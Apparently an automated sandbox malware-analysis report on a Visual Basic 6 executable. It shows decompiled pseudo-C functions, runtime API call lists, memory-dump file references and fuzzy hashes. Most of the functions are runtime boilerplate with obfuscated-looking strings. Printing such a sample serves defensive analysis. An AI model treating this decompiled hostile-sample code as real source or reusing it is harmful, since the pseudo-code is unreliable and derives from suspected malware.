        			E0041036B(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20, void* _a40, void* _a48, signed int* _a64) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v40;
        				void* _v44;
        				void* _v64;
        				void* _v80;
        				signed int* _t24;
        				void* _t40;
        				void* _t42;
        				intOrPtr _t43;
        
        				_t43 = _t42 - 0xc;
        				 *[fs:0x0] = _t43;
        				L004013C0();
        				_v16 = _t43;
        				_v12 = 0x401270;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x40,  *[fs:0x0], 0x4013c6, _t40);
        				L0040158E();
        				L0040154C();
        				L0040158E();
        				_t24 = _a64;
        				 *_t24 =  *_t24 & 0x00000000;
        				_push(0);
        				_push(0);
        				_push(1);
        				L0040150A();
        				L004015B2();
        				_push(0x410418);
        				L0040156A();
        				L004015C4();
        				L004015C4();
        				L0040156A();
        				return _t24;
        			}














        0x0041036e
        0x0041037d
        0x00410387
        0x0041038f
        0x00410392
        0x00410399
        0x004103a8
        0x004103b1
        0x004103bc
        0x004103c7
        0x004103cc
        0x004103cf
        0x004103d2
        0x004103d4
        0x004103d6
        0x004103d8
        0x004103e2
        0x004103e7
        0x004103fa
        0x00410402
        0x0041040a
        0x00410412
        0x00410417

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00410387
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004103B1
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 004103BC
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004103C7
        • #706.MSVBVM60(00000001,00000000,00000000,?,?,?,?,004013C6), ref: 004103D8
        • __vbaStrMove.MSVBVM60(00000001,00000000,00000000,?,?,?,?,004013C6), ref: 004103E2
        • __vbaFreeVar.MSVBVM60(00410418,00000001,00000000,00000000,?,?,?,?,004013C6), ref: 004103FA
        • __vbaFreeStr.MSVBVM60(00410418,00000001,00000000,00000000,?,?,?,?,004013C6), ref: 00410402
        • __vbaFreeStr.MSVBVM60(00410418,00000001,00000000,00000000,?,?,?,?,004013C6), ref: 0041040A
        • __vbaFreeVar.MSVBVM60(00410418,00000001,00000000,00000000,?,?,?,?,004013C6), ref: 00410412
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$#706ChkstkCopyMove
        • String ID:
        • API String ID: 3345532518-0
        • Opcode ID: ebaa2ef54ff648f4aa52e702bea383be2000207d9cc28ecf1cd71bec81bf7f64
        • Instruction ID: 2933ec905e4f817f887493da1e650e2461e1cbbfd9c59e0d1b66fd90c40811cc
        • Opcode Fuzzy Hash: ebaa2ef54ff648f4aa52e702bea383be2000207d9cc28ecf1cd71bec81bf7f64
        • Instruction Fuzzy Hash: 72110A31900248ABCB14EF61CD92FDD7BB4AF40748F50802AF4027B1E1DB78AA458B98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 49%
        			E00410919(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				char _v24;
        				char _v28;
        				char _v32;
        				intOrPtr* _v36;
        				signed int _v40;
        				intOrPtr* _v44;
        				signed int _v48;
        				intOrPtr* _v52;
        				signed int _v56;
        				intOrPtr* _v64;
        				signed int _v68;
        				intOrPtr* _v72;
        				signed int _v76;
        				signed int _v80;
        				char* _t57;
        				signed int _t61;
        				signed int _t67;
        				signed int _t71;
        				char* _t73;
        				intOrPtr _t84;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t84;
        				_push(0x3c);
        				L004013C0();
        				_v12 = _t84;
        				_v8 = 0x4012c0;
        				if( *0x415010 != 0) {
        					_v64 = 0x415010;
        				} else {
        					_push(0x415010);
        					_push(0x4030f8);
        					L00401558();
        					_v64 = 0x415010;
        				}
        				_t57 =  &_v28;
        				L0040155E();
        				_v36 = _t57;
        				_t61 =  *((intOrPtr*)( *_v36 + 0x13c))(_v36,  &_v24, _t57,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x35c))( *_v64));
        				asm("fclex");
        				_v40 = _t61;
        				if(_v40 >= 0) {
        					_v68 = _v68 & 0x00000000;
        				} else {
        					_push(0x13c);
        					_push(0x40275c);
        					_push(_v36);
        					_push(_v40);
        					L00401552();
        					_v68 = _t61;
        				}
        				if( *0x4155f8 != 0) {
        					_v72 = 0x4155f8;
        				} else {
        					_push(0x4155f8);
        					_push(0x4028e4);
        					L00401558();
        					_v72 = 0x4155f8;
        				}
        				_v44 =  *_v72;
        				_t67 =  *((intOrPtr*)( *_v44 + 0x14))(_v44,  &_v32);
        				asm("fclex");
        				_v48 = _t67;
        				if(_v48 >= 0) {
        					_v76 = _v76 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x4028d4);
        					_push(_v44);
        					_push(_v48);
        					L00401552();
        					_v76 = _t67;
        				}
        				_v52 = _v32;
        				_t71 =  *((intOrPtr*)( *_v52 + 0x138))(_v52, _v24, 1);
        				asm("fclex");
        				_v56 = _t71;
        				if(_v56 >= 0) {
        					_v80 = _v80 & 0x00000000;
        				} else {
        					_push(0x138);
        					_push(0x4028f4);
        					_push(_v52);
        					_push(_v56);
        					L00401552();
        					_v80 = _t71;
        				}
        				L004015C4();
        				_push( &_v32);
        				_t73 =  &_v28;
        				_push(_t73);
        				_push(2);
        				L00401546();
        				_push(0x410aad);
        				return _t73;
        			}

























        0x0041091e
        0x00410929
        0x0041092a
        0x00410931
        0x00410934
        0x0041093c
        0x0041093f
        0x0041094d
        0x00410967
        0x0041094f
        0x0041094f
        0x00410954
        0x00410959
        0x0041095e
        0x0041095e
        0x00410982
        0x00410986
        0x0041098b
        0x0041099a
        0x004109a0
        0x004109a2
        0x004109a9
        0x004109c5
        0x004109ab
        0x004109ab
        0x004109b0
        0x004109b5
        0x004109b8
        0x004109bb
        0x004109c0
        0x004109c0
        0x004109d0
        0x004109ea
        0x004109d2
        0x004109d2
        0x004109d7
        0x004109dc
        0x004109e1
        0x004109e1
        0x004109f6
        0x00410a05
        0x00410a08
        0x00410a0a
        0x00410a11
        0x00410a2a
        0x00410a13
        0x00410a13
        0x00410a15
        0x00410a1a
        0x00410a1d
        0x00410a20
        0x00410a25
        0x00410a25
        0x00410a31
        0x00410a41
        0x00410a47
        0x00410a49
        0x00410a50
        0x00410a6c
        0x00410a52
        0x00410a52
        0x00410a57
        0x00410a5c
        0x00410a5f
        0x00410a62
        0x00410a67
        0x00410a67
        0x00410a73
        0x00410a7b
        0x00410a7c
        0x00410a7f
        0x00410a80
        0x00410a82
        0x00410a8a
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00410934
        • __vbaNew2.MSVBVM60(004030F8,00415010,?,?,?,?,004013C6), ref: 00410959
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,004013C6), ref: 00410986
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,0040275C,0000013C), ref: 004109BB
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,?,?,?,?,?,?,?,?,?,?,004013C6), ref: 004109DC
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 00410A20
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000138), ref: 00410A62
        • __vbaFreeStr.MSVBVM60 ref: 00410A73
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00410A82
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$FreeNew2$ChkstkList
        • String ID:
        • API String ID: 3534970231-0
        • Opcode ID: beb9ed34d4e886daeca9f1067dfebe6072c355c242b82f9c5374591eaf148063
        • Instruction ID: b4cf5b12e947e750efb41962fa55737cfd567cfc506a0ed41822aa3a6ed387f4
        • Opcode Fuzzy Hash: beb9ed34d4e886daeca9f1067dfebe6072c355c242b82f9c5374591eaf148063
        • Instruction Fuzzy Hash: 4C4116B1D10218EFDB00EF95C899FEDBBB5BF08304F10402AF112B62A1D7B95985DB69
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 56%
        			E0040FD6A(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a40) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				void* _v52;
        				short _v56;
        				void* _v60;
        				void* _v64;
        				intOrPtr* _v68;
        				signed int _v72;
        				intOrPtr* _v76;
        				signed int _v80;
        				intOrPtr* _v88;
        				signed int _v92;
        				signed int _v96;
        				signed int _t47;
        				signed int _t52;
        				short _t53;
        				intOrPtr _t67;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t67;
        				_push(0x4c);
        				L004013C0();
        				_v12 = _t67;
        				_v8 = 0x401230;
        				L0040158E();
        				L0040158E();
        				if( *0x4155f8 != 0) {
        					_v88 = 0x4155f8;
        				} else {
        					_push(0x4155f8);
        					_push(0x4028e4);
        					L00401558();
        					_v88 = 0x4155f8;
        				}
        				_v68 =  *_v88;
        				_t47 =  *((intOrPtr*)( *_v68 + 0x14))(_v68,  &_v60);
        				asm("fclex");
        				_v72 = _t47;
        				if(_v72 >= 0) {
        					_v92 = _v92 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x4028d4);
        					_push(_v68);
        					_push(_v72);
        					L00401552();
        					_v92 = _t47;
        				}
        				_v76 = _v60;
        				_t52 =  *((intOrPtr*)( *_v76 + 0xc0))(_v76,  &_v64);
        				asm("fclex");
        				_v80 = _t52;
        				if(_v80 >= 0) {
        					_v96 = _v96 & 0x00000000;
        				} else {
        					_push(0xc0);
        					_push(0x4028f4);
        					_push(_v76);
        					_push(_v80);
        					L00401552();
        					_v96 = _t52;
        				}
        				_t53 = _v64;
        				_v56 = _t53;
        				L0040152E();
        				_push(0x40fe84);
        				L0040156A();
        				L0040156A();
        				return _t53;
        			}





















        0x0040fd6f
        0x0040fd7a
        0x0040fd7b
        0x0040fd82
        0x0040fd85
        0x0040fd8d
        0x0040fd90
        0x0040fd9d
        0x0040fda8
        0x0040fdb4
        0x0040fdce
        0x0040fdb6
        0x0040fdb6
        0x0040fdbb
        0x0040fdc0
        0x0040fdc5
        0x0040fdc5
        0x0040fdda
        0x0040fde9
        0x0040fdec
        0x0040fdee
        0x0040fdf5
        0x0040fe0e
        0x0040fdf7
        0x0040fdf7
        0x0040fdf9
        0x0040fdfe
        0x0040fe01
        0x0040fe04
        0x0040fe09
        0x0040fe09
        0x0040fe15
        0x0040fe24
        0x0040fe2a
        0x0040fe2c
        0x0040fe33
        0x0040fe4f
        0x0040fe35
        0x0040fe35
        0x0040fe3a
        0x0040fe3f
        0x0040fe42
        0x0040fe45
        0x0040fe4a
        0x0040fe4a
        0x0040fe53
        0x0040fe57
        0x0040fe5e
        0x0040fe63
        0x0040fe76
        0x0040fe7e
        0x0040fe83

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0040FD85
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 0040FD9D
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 0040FDA8
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,?,?,004013C6), ref: 0040FDC0
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 0040FE04
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,000000C0), ref: 0040FE45
        • __vbaFreeObj.MSVBVM60(00000000,?,004028F4,000000C0), ref: 0040FE5E
        • __vbaFreeVar.MSVBVM60(0040FE84), ref: 0040FE76
        • __vbaFreeVar.MSVBVM60(0040FE84), ref: 0040FE7E
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckHresult$ChkstkNew2
        • String ID:
        • API String ID: 1237124366-0
        • Opcode ID: ea0901c7d7f651a731816143bc2a30a82c4433c6ffb0bc760f18a27438808004
        • Instruction ID: 7f11bf6beaf93b64bc73d6f8108540ec6be573a1fa6cca9e3352dd7df73d68d3
        • Opcode Fuzzy Hash: ea0901c7d7f651a731816143bc2a30a82c4433c6ffb0bc760f18a27438808004
        • Instruction Fuzzy Hash: 3F31FC71910248EFDB10EF95C946BDDBBB5BF48708F10403AF012BB2A1D778694ADB58
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 39%
        			E0041082B(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, void* _a28) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				char _v56;
        				signed int _v60;
        				signed int _v68;
        				signed int _t19;
        				intOrPtr _t32;
        				signed int _t34;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t32;
        				_t19 = 0x30;
        				L004013C0();
        				_v12 = _t32;
        				_v8 = 0x4012b0;
        				L0040158E();
        				_push(0x402a08);
        				L004014EC();
        				asm("fcomp dword [0x4012ac]");
        				asm("fnstsw ax");
        				asm("sahf");
        				if(__eflags == 0) {
        					_t19 =  *((intOrPtr*)( *_a4 + 0xb0))(_a4,  &_v56);
        					asm("fclex");
        					_v60 = _t19;
        					_t34 = _v60;
        					if(_t34 >= 0) {
        						_t14 =  &_v68;
        						 *_t14 = _v68 & 0x00000000;
        						__eflags =  *_t14;
        					} else {
        						_push(0xb0);
        						_push(0x402434);
        						_push(_a4);
        						_push(_v60);
        						L00401552();
        						_v68 = _t19;
        					}
        					asm("fcomp dword [0x4012a8]");
        					asm("fnstsw ax");
        					asm("sahf");
        					if(_t34 == 0) {
        						_push(L"Wattape2");
        						_push(0x8e);
        						_push(0xffffffff);
        						_push(0x20);
        						L004014E6();
        					}
        				}
        				asm("wait");
        				_push(0x4108e3);
        				L0040156A();
        				return _t19;
        			}












        0x00410830
        0x0041083b
        0x0041083c
        0x00410845
        0x00410846
        0x0041084e
        0x00410851
        0x0041085e
        0x00410863
        0x00410868
        0x0041086d
        0x00410873
        0x00410875
        0x00410876
        0x00410884
        0x0041088a
        0x0041088c
        0x0041088f
        0x00410893
        0x004108af
        0x004108af
        0x004108af
        0x00410895
        0x00410895
        0x0041089a
        0x0041089f
        0x004108a2
        0x004108a5
        0x004108aa
        0x004108aa
        0x004108b6
        0x004108bc
        0x004108be
        0x004108bf
        0x004108c1
        0x004108c6
        0x004108cb
        0x004108cd
        0x004108cf
        0x004108cf
        0x004108bf
        0x004108d4
        0x004108d5
        0x004108dd
        0x004108e2

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00410846
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 0041085E
        • __vbaR4Str.MSVBVM60(00402A08,?,?,?,?,004013C6), ref: 00410868
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402434,000000B0,?,?,?,?,?,?,?,?,?,?,?,004013C6), ref: 004108A5
        • __vbaFileOpen.MSVBVM60(00000020,000000FF,0000008E,Wattape2), ref: 004108CF
        • __vbaFreeVar.MSVBVM60(004108E3,00402A08,?,?,?,?,004013C6), ref: 004108DD
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckChkstkFileFreeHresultOpen
        • String ID: Wattape2
        • API String ID: 2751570938-2362924395
        • Opcode ID: fd8483e6ec4023c0c576b4f626b8a914544bb1b557104177d8434b0a30a8cce0
        • Instruction ID: c43f3ca8125ac64106d117727f5f40005c9d4ef7d763689b18f2581fe5ec663d
        • Opcode Fuzzy Hash: fd8483e6ec4023c0c576b4f626b8a914544bb1b557104177d8434b0a30a8cce0
        • Instruction Fuzzy Hash: F6112570940208FFDB10EB95CE8ABDD7BB8FB04B54F50462AF405BA1E2D7B859808B58
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 62%
        			E0040FE97(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				signed int _v36;
        				void* _v52;
        				void* _v56;
        				void* _v60;
        				intOrPtr* _v64;
        				signed int _v68;
        				intOrPtr* _v72;
        				signed int _v76;
        				intOrPtr* _v88;
        				signed int _v92;
        				signed int _v96;
        				signed int _t45;
        				signed int _t46;
        				signed int _t52;
        				signed int _t57;
        				void* _t65;
        				void* _t67;
        				intOrPtr _t68;
        
        				_t68 = _t67 - 0xc;
        				 *[fs:0x0] = _t68;
        				L004013C0();
        				_v16 = _t68;
        				_v12 = 0x401240;
        				_v8 = 0;
        				_t45 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x48,  *[fs:0x0], 0x4013c6, _t65);
        				L0040158E();
        				_t46 = _t45 | 0xffffffff;
        				if(_t46 != 0) {
        					if( *0x4155f8 != 0) {
        						_v88 = 0x4155f8;
        					} else {
        						_push(0x4155f8);
        						_push(0x4028e4);
        						L00401558();
        						_v88 = 0x4155f8;
        					}
        					_v64 =  *_v88;
        					_t52 =  *((intOrPtr*)( *_v64 + 0x14))(_v64,  &_v56);
        					asm("fclex");
        					_v68 = _t52;
        					if(_v68 >= 0) {
        						_v92 = _v92 & 0x00000000;
        					} else {
        						_push(0x14);
        						_push(0x4028d4);
        						_push(_v64);
        						_push(_v68);
        						L00401552();
        						_v92 = _t52;
        					}
        					_v72 = _v56;
        					_t57 =  *((intOrPtr*)( *_v72 + 0xb8))(_v72,  &_v60);
        					asm("fclex");
        					_v76 = _t57;
        					if(_v76 >= 0) {
        						_v96 = _v96 & 0x00000000;
        					} else {
        						_push(0xb8);
        						_push(0x4028f4);
        						_push(_v72);
        						_push(_v76);
        						L00401552();
        						_v96 = _t57;
        					}
        					_t46 = _v60;
        					_v36 = _t46;
        					L0040152E();
        				}
        				asm("wait");
        				_push(0x40ffbd);
        				L0040156A();
        				return _t46;
        			}
























        0x0040fe9a
        0x0040fea9
        0x0040feb3
        0x0040febb
        0x0040febe
        0x0040fec5
        0x0040fed4
        0x0040fedd
        0x0040fee2
        0x0040fee7
        0x0040fef4
        0x0040ff0e
        0x0040fef6
        0x0040fef6
        0x0040fefb
        0x0040ff00
        0x0040ff05
        0x0040ff05
        0x0040ff1a
        0x0040ff29
        0x0040ff2c
        0x0040ff2e
        0x0040ff35
        0x0040ff4e
        0x0040ff37
        0x0040ff37
        0x0040ff39
        0x0040ff3e
        0x0040ff41
        0x0040ff44
        0x0040ff49
        0x0040ff49
        0x0040ff55
        0x0040ff64
        0x0040ff6a
        0x0040ff6c
        0x0040ff73
        0x0040ff8f
        0x0040ff75
        0x0040ff75
        0x0040ff7a
        0x0040ff7f
        0x0040ff82
        0x0040ff85
        0x0040ff8a
        0x0040ff8a
        0x0040ff93
        0x0040ff97
        0x0040ff9e
        0x0040ff9e
        0x0040ffa3
        0x0040ffa4
        0x0040ffb7
        0x0040ffbc

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0040FEB3
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 0040FEDD
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,?,?,004013C6), ref: 0040FF00
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 0040FF44
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,000000B8), ref: 0040FF85
        • __vbaFreeObj.MSVBVM60 ref: 0040FF9E
        • __vbaFreeVar.MSVBVM60(0040FFBD,?,?,?,?,004013C6), ref: 0040FFB7
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckFreeHresult$ChkstkNew2
        • String ID:
        • API String ID: 304406766-0
        • Opcode ID: c06790f943550490d9403a0324ebd1f5585a0ebe27e186ff23f5ce9ee187c64e
        • Instruction ID: a13e9ccd43016bb1a2448dbd3902383cd3aab5940e203b27f470aa45892683b2
        • Opcode Fuzzy Hash: c06790f943550490d9403a0324ebd1f5585a0ebe27e186ff23f5ce9ee187c64e
        • Instruction Fuzzy Hash: CC311274900249EFCB10EF95C945BCDBBB5BF05704F20813BF412BB2A0DB7899898B48
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 59%
        			E004132C9(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v28;
        				intOrPtr* _v32;
        				signed int _v36;
        				intOrPtr* _v40;
        				signed int _v44;
        				intOrPtr* _v56;
        				signed int _v60;
        				signed int _v64;
        				signed int _t45;
        				signed int _t49;
        				void* _t54;
        				void* _t56;
        				intOrPtr _t57;
        
        				_t57 = _t56 - 0xc;
        				 *[fs:0x0] = _t57;
        				L004013C0();
        				_v16 = _t57;
        				_v12 = 0x401388;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4013c6, _t54);
        				if( *0x4155f8 != 0) {
        					_v56 = 0x4155f8;
        				} else {
        					_push(0x4155f8);
        					_push(0x4028e4);
        					L00401558();
        					_v56 = 0x4155f8;
        				}
        				_v32 =  *_v56;
        				_t45 =  *((intOrPtr*)( *_v32 + 0x14))(_v32,  &_v28);
        				asm("fclex");
        				_v36 = _t45;
        				if(_v36 >= 0) {
        					_v60 = _v60 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x4028d4);
        					_push(_v32);
        					_push(_v36);
        					L00401552();
        					_v60 = _t45;
        				}
        				_v40 = _v28;
        				_t49 =  *((intOrPtr*)( *_v40 + 0x138))(_v40, L"Spinetternes5", 1);
        				asm("fclex");
        				_v44 = _t49;
        				if(_v44 >= 0) {
        					_v64 = _v64 & 0x00000000;
        				} else {
        					_push(0x138);
        					_push(0x4028f4);
        					_push(_v40);
        					_push(_v44);
        					L00401552();
        					_v64 = _t49;
        				}
        				L0040152E();
        				_push(0x4133cb);
        				return _t49;
        			}



















        0x004132cc
        0x004132db
        0x004132e5
        0x004132ed
        0x004132f0
        0x004132f7
        0x00413306
        0x00413310
        0x0041332a
        0x00413312
        0x00413312
        0x00413317
        0x0041331c
        0x00413321
        0x00413321
        0x00413336
        0x00413345
        0x00413348
        0x0041334a
        0x00413351
        0x0041336a
        0x00413353
        0x00413353
        0x00413355
        0x0041335a
        0x0041335d
        0x00413360
        0x00413365
        0x00413365
        0x00413371
        0x00413383
        0x00413389
        0x0041338b
        0x00413392
        0x004133ae
        0x00413394
        0x00413394
        0x00413399
        0x0041339e
        0x004133a1
        0x004133a4
        0x004133a9
        0x004133a9
        0x004133b5
        0x004133ba
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 004132E5
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,?,?,004013C6), ref: 0041331C
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 00413360
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000138), ref: 004133A4
        • __vbaFreeObj.MSVBVM60 ref: 004133B5
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$CheckHresult$ChkstkFreeNew2
        • String ID: Spinetternes5
        • API String ID: 1616694062-1097852325
        • Opcode ID: abedbb7c11084cc6e75326c015f17bfaf4182d0d1a817244ce32dcbf6e9fd85c
        • Instruction ID: 801b819c1d36b4da1be1174d8fdfdaf9e422189b68ee2703fd617d7be201b6a5
        • Opcode Fuzzy Hash: abedbb7c11084cc6e75326c015f17bfaf4182d0d1a817244ce32dcbf6e9fd85c
        • Instruction Fuzzy Hash: 2831F875D40208EFDB00EF95C989BDDBBB1FB08705F504066F511BA2A0CB785A859B69
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 91%
        			E00412281(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a40, signed int* _a64) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v40;
        				signed int* _v44;
        				signed int* _t17;
        				void* _t24;
        				void* _t26;
        				intOrPtr _t27;
        
        				_t27 = _t26 - 0xc;
        				 *[fs:0x0] = _t27;
        				L004013C0();
        				_v16 = _t27;
        				_v12 = 0x401328;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4013c6, _t24);
        				L0040158E();
        				_t17 = _a64;
        				 *_t17 =  *_t17 & 0x00000000;
        				L004014E0();
        				_v44 = _t17;
        				_push(0x4122f3);
        				L0040156A();
        				return _t17;
        			}












        0x00412284
        0x00412293
        0x0041229d
        0x004122a5
        0x004122a8
        0x004122af
        0x004122be
        0x004122c7
        0x004122cc
        0x004122cf
        0x004122d2
        0x004122d7
        0x004122da
        0x004122ed
        0x004122f2

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0041229D
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004122C7
        • #615.MSVBVM60(?,?,?,?,004013C6), ref: 004122D2
        • __vbaFreeVar.MSVBVM60(004122F3,?,?,?,?,004013C6), ref: 004122ED
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$#615ChkstkFree
        • String ID:
        • API String ID: 4276791933-0
        • Opcode ID: 5a8b9a376fd111c94f1987ab9a1411b7cb6027dbfa65c8466a0bd2144a44ce68
        • Instruction ID: e1c2a0691e0f0a4ecab8dbe322907610c2e063d1592e04641d7f74a2ec0a2de0
        • Opcode Fuzzy Hash: 5a8b9a376fd111c94f1987ab9a1411b7cb6027dbfa65c8466a0bd2144a44ce68
        • Instruction Fuzzy Hash: 27F03C71900248EFDB00EF65CA46B9D7BB4FB04748F10446AF805BB2A0C77899008B98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 55%
        			E0041231C(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				char _v56;
        				char* _t9;
        				intOrPtr _t19;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t19;
        				_push(0x28);
        				L004013C0();
        				_v12 = _t19;
        				_v8 = 0x401338;
        				_t9 =  &_v56;
        				_push(_t9);
        				L00401480();
        				L0040153A();
        				_push(0x412376);
        				L0040156A();
        				return _t9;
        			}









        0x00412321
        0x0041232c
        0x0041232d
        0x00412334
        0x00412337
        0x0041233f
        0x00412342
        0x00412349
        0x0041234c
        0x0041234d
        0x00412358
        0x0041235d
        0x00412370
        0x00412375

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00412337
        • #546.MSVBVM60(?,?,?,?,?,004013C6), ref: 0041234D
        • __vbaVarMove.MSVBVM60(?,?,?,?,?,004013C6), ref: 00412358
        • __vbaFreeVar.MSVBVM60(00412376,?,?,?,?,?,004013C6), ref: 00412370
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
